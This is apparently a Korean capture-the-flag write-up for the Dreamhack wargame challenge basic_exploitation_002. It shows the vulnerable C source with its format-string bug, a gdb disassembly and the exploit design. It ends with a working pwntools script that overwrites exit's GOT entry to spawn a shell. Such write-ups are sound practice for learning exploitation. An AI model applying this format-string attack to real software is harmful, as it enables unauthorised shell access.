[Dreamhack Wargame] basic_exploitaion_002

don't panic·2023년 12월 9일
0

System Hacking wargame

목록 보기
10/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

checksec

  • 32bit 프로그램
  • Partial RELRO, NX enabled

gdb 결과

pwndbg> disass main
Dump of assembler code for function main:
   0x0804861c <+0>:     push   ebp
   0x0804861d <+1>:     mov    ebp,esp
   0x0804861f <+3>:     add    esp,0xffffff80
   0x08048622 <+6>:     call   0x80485c2 <initialize>
   0x08048627 <+11>:    push   0x80
   0x0804862c <+16>:    lea    eax,[ebp-0x80]
   0x0804862f <+19>:    push   eax
   0x08048630 <+20>:    push   0x0
   0x08048632 <+22>:    call   0x8048410 <read@plt>
   0x08048637 <+27>:    add    esp,0xc
   0x0804863a <+30>:    lea    eax,[ebp-0x80]
   0x0804863d <+33>:    push   eax
   0x0804863e <+34>:    call   0x8048420 <printf@plt>
   0x08048643 <+39>:    add    esp,0x4
   0x08048646 <+42>:    push   0x0
   0x08048648 <+44>:    call   0x8048470 <exit@plt>
End of assembler dump.
  • buf: [ebp-0x80]
  • SFP: [ebp]
  • RET: [ebp+0x4]
    - bufRET의 offset은 0x84이다.

exploit 설계

  • 결론적으로 get_shell 함수가 실행되면 좋겠다.
  • ret을 건드리는 것도 생각해봤지만, main함수에서 return 0을 하기 전에 exit을 하므로, exit_got을 overwrite해서 get_shell 함수의 주소로 바꾸는 것이 좋을 것 같다.

format string 만들기-1

get_shell의 주소가 너무 크기 때문에 exit_got에 그 값을 한번에 overwrite할 수는 없다.
따라서 get_shell 0x08048609exit_got+2에는 0x0804가 들어가고, exit_got에는 0x8609가 들어가도록 format string을 만들어보자!

  • 일단 basic_exploitation_002를 실행하고 format string을 보내보면 보낸 fstring이 바로 %p에서 인자로 사용하는 것을 알 수 있다.
  • 따라서 fstring의 맨 처음에 p32(exit_got+2)p32(exit_got)을 넣으면 그 다음 참조하는 인자들이 각각 exit_got+2exit_got이 될 것이다.
  • %원하는 길이c%원하는idx$hn으로 원하는idx 인자에 앞에서 출력된 길이의 값을 넣을 수 있다. (2바이트만 넣고 싶으므로 %hn을 쓴다)
    따라서 exit_got+20x0804를 넣고싶으면 앞에 8바이트는 이미 썼으므로 그 값을 빼고 %c를 쓴다.
    같은 방식으로 exit_got에도 아까 0x804만큼 출력을 했으니 0x8609에서 그 값을 빼서 출력하게 한다.

format string 만들기-2

fstring = fmtstr_payload(1, {exit_got : get_shell})
fmtstr_payload 함수를 이용해서 쉽게 포맷 스트링을 만들 수 있다. 1번째 가변인자가 위치한 exit_gotget_shell을 overwrite할 수 있는 포맷 스트링을 만들어달라는 명령어이다.

exploit

from pwn import *

p = remote('host3.dreamhack.games', 8277)
e = ELF('./basic_exploitation_002')
exit_got = e.got['exit']
get_shell = 0x08048609

# fstring = fmtstr_payload(1, {exit_got : get_shell})
fstring = p32(exit_got+2) + p32(exit_got)
fstring += b'%2044c%1$hn' # 0x0804-0x8=2044
fstring += b'%32261c%2$hn' #0x8609-0x0804=32261

p.send(fstring)
p.interactive()

0개의 댓글